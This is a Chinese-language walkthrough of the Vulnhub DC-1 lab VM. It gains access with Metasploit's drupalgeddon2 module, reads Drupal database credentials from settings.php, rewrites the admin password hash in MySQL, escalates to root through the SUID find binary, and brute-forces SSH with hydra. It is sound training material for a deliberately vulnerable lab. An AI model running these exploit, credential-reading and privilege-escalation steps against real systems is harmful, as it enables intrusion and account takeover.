Vulnhub-DC-1 靶机复现完整过程

记录对DC-1 靶机的复现过程

一、搭建环境

1.工具

靶机:DC-1 192.168.200.17

攻击机:kali 192.168.200.13

2.注意

攻击机和靶机的网络连接方式要相同,另外DC-1的网络连接方式我这里采用NAT模式,是与kali的网络连接模式相同的(当然亦可以选用桥接模式)

DC-1网络设计
点击高级后可以查看DC-1的靶机MAC地址,便于扫描IP时识别
Vulnhub-DC-1 靶机复现完整过程_第1张图片
KALI网络设计
Vulnhub-DC-1 靶机复现完整过程_第2张图片

二、信息收集

根据题意,需要得知靶机DC-1的IP地址、IP地址开放的端口及网站的指纹信息

1.扫描靶机IP地址

收集在某网段上存活的主机方式有很多种,常见的、易记忆的有arp-scan、nmap、netdiscover

arp-scan:arp-scan -l

Vulnhub-DC-1 靶机复现完整过程_第3张图片

nmap:nmap -sP 192.168.200.0/24 -T4	 

Vulnhub-DC-1 靶机复现完整过程_第4张图片

netdiscover:netdiscover  #较慢可加参数

Vulnhub-DC-1 靶机复现完整过程_第5张图片

2.扫描目标IP开放端口

nmap -sV -p- 192.168.200.17 
#-sV  扫描目标主机端口上运行的软件信息
#-p-  扫描全部端口0-65535

Vulnhub-DC-1 靶机复现完整过程_第6张图片
尝试访问http80端口,一般可以直接访问

3.获取指纹信息

利用插件wappalyzer可以知道网站的指纹信息
Vulnhub-DC-1 靶机复现完整过程_第7张图片亦可以利用kali中的自带工具whatqweb工具

whatweb -v 192.168.200.17

Vulnhub-DC-1 靶机复现完整过程_第8张图片
从以上便两种方式都可以看出网站的cms是Drupal 7

世界上有名的CMS 其中就包括Drupal
还有wordpress、 joomla等等

附:然后就可以百度或者谷歌探测此cms包含的漏洞浮现文章,当然亦可以根据扫描出的其他信息寻找浮现文章学习。
Vulnhub-DC-1 靶机复现完整过程_第9张图片
另外,经过测试22端口和111端口都是无法进行访问,网站是做了某些限制的。

4.目录扫描

部分结果
Vulnhub-DC-1 靶机复现完整过程_第10张图片

三、漏洞利用

Metasploit利用

先打开kali

msfconsole

Vulnhub-DC-1 靶机复现完整过程_第11张图片
查询模块

search drupal

利用2018年的这个漏洞
Vulnhub-DC-1 靶机复现完整过程_第12张图片

use exploit/unix/webapp/drupal_drupalgeddon2

查看漏洞参数

show options

Current Setting是需要设置的内容
Required表示设置的要求,yes为必须,no可以设置也可不设置
Vulnhub-DC-1 靶机复现完整过程_第13张图片
那就在RHOST位置设置IP地址(靶机的IP地址)

set RHOSTS 192.168.200.17

再次查询
Vulnhub-DC-1 靶机复现完整过程_第14张图片

利用参数exploit开始攻击

exploit

看到如下参数,则说明攻击机kali和靶机DC-1建立连接

Meterpreter session 1 opened (192.168.200.14:4444 -> 192.168.200.17:56719) at 2023-07-18 23:10:24 -0400

Vulnhub-DC-1 靶机复现完整过程_第15张图片
获取shell

shell

当前路径
image.png
执行ls查看当前路径下的文件,可以看到flag1出现

flag1

Vulnhub-DC-1 靶机复现完整过程_第16张图片

反弹shell

要求攻击机伤需要装python环境

python -c 'import pty; pty.spawn("/bin/bash")'

image.png
之句话意思是:每个好的CMS都需要一个配置文件,你也一样 说明需要找到配置文件
如果不知道的话,可以百度此CMS的配置文件名是什么,叫做settings.php

查询他所在的位置即可

cat sites/default/settings.php

flag2

告知数据库的类型是:mysql
Vulnhub-DC-1 靶机复现完整过程_第17张图片
另外也可以使用:模糊查找的方式

cat `find / -name settings.php`

Vulnhub-DC-1 靶机复现完整过程_第18张图片
英文的意思大概是:
暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。您可以使用这些凭据做什么?
大概意思是提权了

连接数据库

用给出的密码和数据名尝试连接数据库爆破

mysql -udbuser -pR0ck3t

连接成功!
Vulnhub-DC-1 靶机复现完整过程_第19张图片

查询数据库

show databases;

Vulnhub-DC-1 靶机复现完整过程_第20张图片
利用数据库

use drupaldb;

Vulnhub-DC-1 靶机复现完整过程_第21张图片
查询数据表
image.png
查询users表信息

select * from users;

获取账户和密码
Vulnhub-DC-1 靶机复现完整过程_第22张图片
两个账户信息
密码不是明文,不知道是什么类型
admin S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred S S SDWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

解决方法:
看到两个用户的密码被加密了,但可以修改密码或新增一个admin权限的用户

方法一:修改admin密码
使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户
先找到机密文件,加密脚本位置在/var/www/scripts/password-hash.sh下

/var/www/scripts/password-hash.sh

先退出mysql的命令行,打开加密脚本,可以看到此加密脚本使用php编写的

cat /var/www/scripts/password-hash.sh

Vulnhub-DC-1 靶机复现完整过程_第23张图片
用dupal自带脚本生成admin的密码为admin

php /var/www/scripts/password-hash.sh admin
username: admin    hash: $S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

用上图重新users表

update users set pass = "$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i" where name = 'admin' ;
username:admin      hash:$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

方法二:添加admin权限用户
drupal 7( 7.0~7.31)有SQL注入的漏洞(Drupal SQL注入漏洞(CVE-2014-3704)复现),可以添加一个admin权限的用户,然后再在msf找一下这个工具

searchsploit drupal

Vulnhub-DC-1 靶机复现完整过程_第24张图片
查看脚本文件

searchsploit 34992.py -p

Vulnhub-DC-1 靶机复现完整过程_第25张图片

登录账户admin,发现第flag3

flag3

Vulnhub-DC-1 靶机复现完整过程_第26张图片
主要在这两个单词:passwd和shadow,linux下的文件
/etc/passwd
/etc/shadow

 cat /etc/passwd

有flag4这个用户,两个方法拿到这个用户的密码,一个是弱口令爆破,另一个提权打开shadow文件查看密码
Vulnhub-DC-1 靶机复现完整过程_第27张图片
而另一个是权限不够,当前用户是www-data需要root权限
image.png
切换目录带到目标文件下flag4.txt,看内容

flag4

第一种方式:
Vulnhub-DC-1 靶机复现完整过程_第28张图片
提权至root权限,找最后的flag了,使用find命令查找有特殊权限suid的命令:find / -perm -4000
Vulnhub-DC-1 靶机复现完整过程_第29张图片
发现flag4,并且flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破

再使用find 命令进行提权:find ./misc -exec “/bin/sh” ;获取root 权限,
Vulnhub-DC-1 靶机复现完整过程_第30张图片

第二种方式

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange
image.png
flag4用户使用ssh登录

ssh [email protected]

Vulnhub-DC-1 靶机复现完整过程_第31张图片

此时发现是flag4用户,而不是root,用上边同样的方法,find命令提权为root。
Vulnhub-DC-1 靶机复现完整过程_第32张图片

thefinalflag.txt

在root目录下发现最后的flag
Vulnhub-DC-1 靶机复现完整过程_第33张图片

五、总结

1.扫描局域网主机
arp-scan -l
netdiscover用法
map -sP x.x.x.x
2.开放端口扫描
nmap -sV -p- x.x.x.x
2.MSF使用
3.hydra爆破:sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
hydra+John密码包
以上两种方式可以爆出flag4的密码
4.suid提权:Linux下用SUID提权、find命令exec

欢迎指正

文章参考:https://blog.csdn.net/l2872253606/article/details/125463013
https://blog.csdn.net/prettyX/article/details/103267130

你可能感兴趣的:(#,红队打靶,笔记,web安全)